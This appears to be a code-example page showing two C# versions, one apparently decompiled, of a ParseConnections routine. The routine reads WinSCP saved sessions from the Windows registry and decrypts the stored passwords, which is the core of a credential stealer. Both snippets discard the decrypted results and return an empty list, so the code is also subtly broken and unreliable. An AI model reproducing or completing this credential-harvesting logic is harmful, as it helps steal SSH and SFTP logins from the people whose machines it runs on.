Beispiel #1
0
        public static List <LoginPair> ParseConnections()
        {
            List <LoginPair> loginPairList = new List <LoginPair>();

            try
            {
                using (RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey("Software\\Martin Prikryl\\WinSCP 2\\Sessions"))
                {
                    if (registryKey1 != null)
                    {
                        foreach (string subKeyName in registryKey1.GetSubKeyNames())
                        {
                            string name = Path.Combine("Software\\Martin Prikryl\\WinSCP 2\\Sessions", subKeyName);
                            using (RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(name))
                            {
                                if (registryKey2 != null)
                                {
                                    string host = registryKey2.GetValue("HostName")?.ToString();
                                    if (!string.IsNullOrWhiteSpace(host))
                                    {
                                        WinSCP.DecryptPassword(registryKey2.GetValue("UserName")?.ToString(), registryKey2.GetValue("Password")?.ToString(), host);
                                        string str = host + ":" + registryKey2.GetValue("PortNumber")?.ToString();
                                    }
                                }
                            }
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine((object)ex);
            }
            return(loginPairList);
        }
Beispiel #2
0
        // Token: 0x060002AD RID: 685 RVA: 0x0000BCAC File Offset: 0x00009EAC
        public static List <LoginPair> ParseConnections()
        {
            List <LoginPair> result = new List <LoginPair>();

            try
            {
                using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Martin Prikryl\\WinSCP 2\\Sessions"))
                {
                    if (registryKey != null)
                    {
                        foreach (string path in registryKey.GetSubKeyNames())
                        {
                            string name = Path.Combine("Software\\Martin Prikryl\\WinSCP 2\\Sessions", path);
                            using (RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(name))
                            {
                                if (registryKey2 != null)
                                {
                                    object value = registryKey2.GetValue("HostName");
                                    string text  = (value != null) ? value.ToString() : null;
                                    if (!string.IsNullOrWhiteSpace(text))
                                    {
                                        object value2 = registryKey2.GetValue("UserName");
                                        string user   = (value2 != null) ? value2.ToString() : null;
                                        object value3 = registryKey2.GetValue("Password");
                                        WinSCP.DecryptPassword(user, (value3 != null) ? value3.ToString() : null, text);
                                        string str    = text;
                                        string str2   = ":";
                                        object value4 = registryKey2.GetValue("PortNumber");
                                        text = str + str2 + ((value4 != null) ? value4.ToString() : null);
                                    }
                                }
                            }
                        }
                    }
                }
            }
            catch
            {
            }
            return(result);
        }